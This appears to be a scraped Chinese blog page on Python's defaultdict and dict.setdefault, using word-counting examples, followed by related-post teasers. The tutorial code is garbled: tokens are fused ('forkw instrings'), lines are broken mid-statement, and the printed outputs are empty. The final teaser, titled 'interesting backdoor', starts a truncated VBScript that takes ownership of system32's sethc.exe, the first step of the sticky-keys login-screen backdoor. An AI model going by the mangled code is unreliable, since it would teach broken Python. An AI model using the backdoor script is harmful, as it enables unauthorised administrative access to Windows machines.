defaultdict主要解決在建立的dict為空時的賦值問題。
(1)dict.setdefault()方法
當不用defaultdict方法時,可用dict.setdefault()方法替代
下面使用參考資料中的例子舉例。例子是用來統計陣列中每個詞出現的次數。setdefault(kw,0)方法可在dict中沒有kw這個key的時候,將這個key的value設定為0,並且當dict中存在kw時,則返回其對應的value。
strings =(
'puppy'
,'kitten'
,'puppy'
,'puppy'
,'weasel'
,'puppy'
,'kitten'
,'puppy'
)counts ={}
forkw
instrings
:counts[kw
]=counts
.setdefault(kw
,0)+
1
(2)defaultdict方法
defaultdict()方法可以接受乙個型別作為引數,比如int, list等,也可以接受乙個不帶引數的函式作為引數。
舉例1:以int作為引數,統計單詞出現次數
from collections import defaultdict舉例2:以乙個無引數函式作為引數,同樣是統計單詞出現的次數strings = ('puppy'
, 'kitten'
, 'puppy'
, 'puppy'
,'weasel'
, 'puppy'
, 'kitten'
, 'puppy')
counts = defaultdict(int)
for s in strings:
counts[s] += 1
print(counts) # 輸出是defaultdict(, )
from collections import defaultdictstrings = ('puppy'
, 'kitten'
, 'puppy'
, 'puppy'
,'weasel'
, 'puppy'
, 'kitten'
, 'puppy')
def
zero():
return
0counts = defaultdict(zero) # zero是函式名
for s in strings:
counts[s] += 1
print(counts) # 輸出是defaultdict(, )
有意思的Python例子
第一題a 1 a a 1 print a 請問當前的輸出結果是多少 正確答案是 2 為什麼那?首先拆分 a 1 的結果為 true 現在變成了 a true 在python中 true 轉變為int 型別就是1 所以變成了a 1 結果自然是2嘍 雖然題目問的簡單,但是還是很考驗基本功的 第二題 pr...
有意思的話
1 要麼忍,要麼殘忍 2 下輩子我要做你的一顆牙,至少,我難受,你也會疼 3 心不動,則不痛 4 我們唯一的關係是沒有關係。5 你會流淚,並不代表真的慈悲 我會微笑,並不代表一切都好。6 孤單 是 你心裡面沒有人 寂寞 是 你心裡有的人卻不在身邊 7 冬天裡你給了我乙個夏天的夢 卻把我在春天叫醒了 ...
有意思的後門
dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...